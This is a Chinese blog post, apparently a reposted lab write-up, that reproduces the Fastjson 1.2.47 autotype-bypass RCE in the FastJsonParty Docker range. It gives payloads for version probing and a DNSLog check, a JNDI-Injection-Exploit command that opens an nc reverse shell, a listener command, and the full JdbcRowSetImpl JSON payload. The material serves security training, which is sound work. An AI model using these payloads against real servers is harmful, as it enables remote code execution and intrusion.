FastJsonParty-main 【RCE1.2.47】漏洞复现

admin 2024年7月23日15:47:32评论16 views字数 1715阅读5分43秒阅读模式

hvv开始了,我搜集了一些资料,后台回复:2024。

0x01 漏洞地址

FastJson全版本Docker漏洞环境(涵盖1.2.47/1.2.68/1.2.80等版本),主要包括JNDI注入、waf绕过、文件读写、原生反序列化、利用链探测绕过、不出网利用等。设定场景为黑盒利用,从黑盒的角度覆盖FastJson深入利用全过程,部分环境需要给到jar包反编译分析。

https://github.com/lemono0/FastJsonParty

Docker环境,开箱即用。

环境启动:docker-compose up -d

若docker拉取环境缓慢,请尝试使用国内镜像

https://mp.weixin.qq.com/s/5ENnnE0XQoT6AhqjjO-N2g

备注:配置完镜像源后,下面两个命令不能省略,缺一不可。不然可能会遇到配置了,速度还是很慢的情况

systemctl daemon-reloadsystemctl restart docker

虚拟机环境使用kali即可,也可以使用自己的云服务器哈,也很方便,不会很臃肿。

FastJsonParty-main 【RCE1.2.47】漏洞复现

0x02 漏洞原理

首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

0x03 影响版本

Fastjson1.2.47以及之前的版本

0x04漏洞复现

FastJsonParty-main 【RCE1.2.47】漏洞复现

登陆抓包

FastJsonParty-main 【RCE1.2.47】漏洞复现

发现为json格式传入参数

删个末尾的},看报错,很标准的fastjson错误提示,确定后端使用的fastjson

{  "@type":"java.net.Inet4Address",  "val":"dnslog"

FastJsonParty-main 【RCE1.2.47】漏洞复现

dns尝试是否出网

{  "@type":"java.net.Inet4Address",  "val":"utrlo999exbaatgilhb5rg03suylmea3.oastify.com"}

FastJsonParty-main 【RCE1.2.47】漏洞复现

FastJsonParty-main 【RCE1.2.47】漏洞复现

探测准确的版本号

{  "@type": "java.lang.AutoCloseable"

FastJsonParty-main 【RCE1.2.47】漏洞复现

通过报错,发现版本为1.2.47,很经典的版本漏洞,利用mappings缓存机制,JdbcRowSetImpl打jndi,但前提是需要机器出网。

关于这种方式探测fastjosn版本,条件是需要response中会回显报错信息,但实际环境可能存在不回显的情况,那就需要利用其他手段了,如dnslog、ddos等间接判断,比较麻烦,可以上网查查。

使用一个简单的办法

利用jndi注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A xx.xx.xx.xx -C "nc xx.xx.xx.xx 6667 -e sh"

FastJsonParty-main 【RCE1.2.47】漏洞复现

开启监听

nc -lvp 6667

bp发包

{    "a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"ldap://xx.xx.xx.xx:1389/1pegbf",        "autoCommit":true    }}

FastJsonParty-main 【RCE1.2.47】漏洞复现

成功收到shell。

这是一种比较方便简单的办法,也可以尝试自己搭建web和ldap服务器来实现。

0x05 总结

这个开源的docker靶场还是很方便的。想要学习fastjson相关的漏洞可以去玩一玩。

原文始发于微信公众号(LHACK安全):FastJsonParty-main 【RCE1.2.47】漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月23日15:47:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FastJsonParty-main 【RCE1.2.47】漏洞复现https://cn-sec.com/archives/2989940.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息